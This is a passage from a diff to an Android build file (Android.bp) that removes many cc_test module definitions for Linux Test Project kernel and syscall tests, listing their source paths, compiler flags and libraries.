-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/module/delete_module/delete_module02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpriority02",
-    stem: "setpriority02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpriority/setpriority02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap09",
-    stem: "mmap09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap08",
-    stem: "mmap08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_eventfd2_03",
-    stem: "eventfd2_03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap03",
-    stem: "mmap03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap02",
-    stem: "mmap02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap01",
-    stem: "mmap01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysfs01",
-    stem: "sysfs01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_newuname01",
-    stem: "newuname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/newuname/newuname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap06",
-    stem: "mmap06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap05",
-    stem: "mmap05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap04",
-    stem: "mmap04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rt_sigprocmask01",
-    stem: "rt_sigprocmask01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_select02",
-    stem: "select02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/select/select02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rt_sigprocmask02",
-    stem: "rt_sigprocmask02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup02",
-    stem: "dup02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readlinkat02",
-    stem: "readlinkat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlinkat/readlinkat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readlinkat01",
-    stem: "readlinkat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlinkat/readlinkat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_sleep",
-    stem: "tst_sleep",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_sleep.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigaltstack01",
-    stem: "sigaltstack01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigaltstack/sigaltstack01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ssetmask01",
-    stem: "ssetmask01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ssetmask/ssetmask01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigaltstack02",
-    stem: "sigaltstack02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigaltstack/sigaltstack02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getdelays",
-    stem: "getdelays",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cgroup/getdelays.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_request_key03",
-    stem: "request_key03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/request_key/request_key03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gencosh",
-    stem: "gencosh",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/iperb/gencosh.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_vma04",
-    stem: "vma04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_ltpClient",
-    stem: "ltpClient",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/sockets/ltpClient.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_iobw",
-    stem: "iobw",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/io-throttle/iobw.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fanotify04",
-    stem: "fanotify04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmodat01",
-    stem: "fchmodat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmodat/fchmodat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tee01",
-    stem: "tee01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/tee/tee01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll_ctl01",
-    stem: "epoll_ctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_alarm03",
-    stem: "alarm03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/alarm/alarm03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll_ctl02",
-    stem: "epoll_ctl02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rtc01",
-    stem: "rtc01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/rtc/rtc01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketcall03",
-    stem: "socketcall03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_float_trigo",
-    stem: "float_trigo",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/float_trigo.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify06",
-    stem: "fanotify06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketcall02",
-    stem: "socketcall02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioperm01",
-    stem: "ioperm01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioperm/ioperm01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/acct/acct01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -4900,1092 +249,7 @@
     stem: "acl1",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/network/nfsv4/acl/acl1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_request_key02",
-    stem: "request_key02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/request_key/request_key02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketcall01",
-    stem: "socketcall01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execlp01_child",
-    stem: "execlp01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execlp/execlp01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wait_bitset01",
-    stem: "futex_wait_bitset01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait_bitset01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genpower",
-    stem: "genpower",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genpower.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_futex_wait_bitset02",
-    stem: "futex_wait_bitset02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait_bitset02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fdatasync01",
-    stem: "fdatasync01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fdatasync/fdatasync01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sethostname02",
-    stem: "sethostname02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sethostname/sethostname02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount05",
-    stem: "mount05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount05.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount04",
-    stem: "mount04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount04.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utime03",
-    stem: "utime03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount06",
-    stem: "mount06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount06.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount01",
-    stem: "mount01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount01.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utime04",
-    stem: "utime04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount03",
-    stem: "mount03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount03.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount02",
-    stem: "mount02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount02.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone01",
-    stem: "clone01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl22",
-    stem: "fcntl22",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl22.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone03",
-    stem: "clone03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mincore02",
-    stem: "mincore02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mincore/mincore02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone05",
-    stem: "clone05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone04",
-    stem: "clone04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone07",
-    stem: "clone07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone06",
-    stem: "clone06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone09",
-    stem: "clone09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clone08",
-    stem: "clone08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clone/clone08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl29",
-    stem: "fcntl29",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl29.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lseek11",
-    stem: "lseek11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lseek/lseek11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execl01",
-    stem: "execl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execl/execl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_thp03",
-    stem: "thp03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/thp/thp03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_dup07",
-    stem: "dup07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwritev01",
-    stem: "pwritev01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwritev/pwritev01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwritev",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_munlock01",
-    stem: "munlock01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munlock/munlock01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwritev02",
-    stem: "pwritev02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwritev/pwritev02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwritev",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gethostbyname_r01",
-    stem: "gethostbyname_r01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/gethostbyname_r/gethostbyname_r01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_listxattr03",
-    stem: "listxattr03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/listxattr/listxattr03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_listxattr02",
-    stem: "listxattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/listxattr/listxattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nptl01",
-    stem: "nptl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/nptl/nptl01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DUSING_NPTL",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genexp_log",
-    stem: "genexp_log",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genexp_log.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_sync_file_range01",
-    stem: "sync_file_range01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sync_file_range/sync_file_range01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitid01",
-    stem: "waitid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitid/waitid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gencos",
-    stem: "gencos",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/gencos.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_waitid02",
-    stem: "waitid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitid/waitid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tbio",
-    stem: "tbio",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/tbio/tbio_user/tbio.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_munlock02",
-    stem: "munlock02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munlock/munlock02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork_exec_loop",
-    stem: "fork_exec_loop",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/freezer/fork_exec_loop.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vma01",
-    stem: "vma01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_rename14",
-    stem: "rename14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename14.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename12",
-    stem: "rename12",
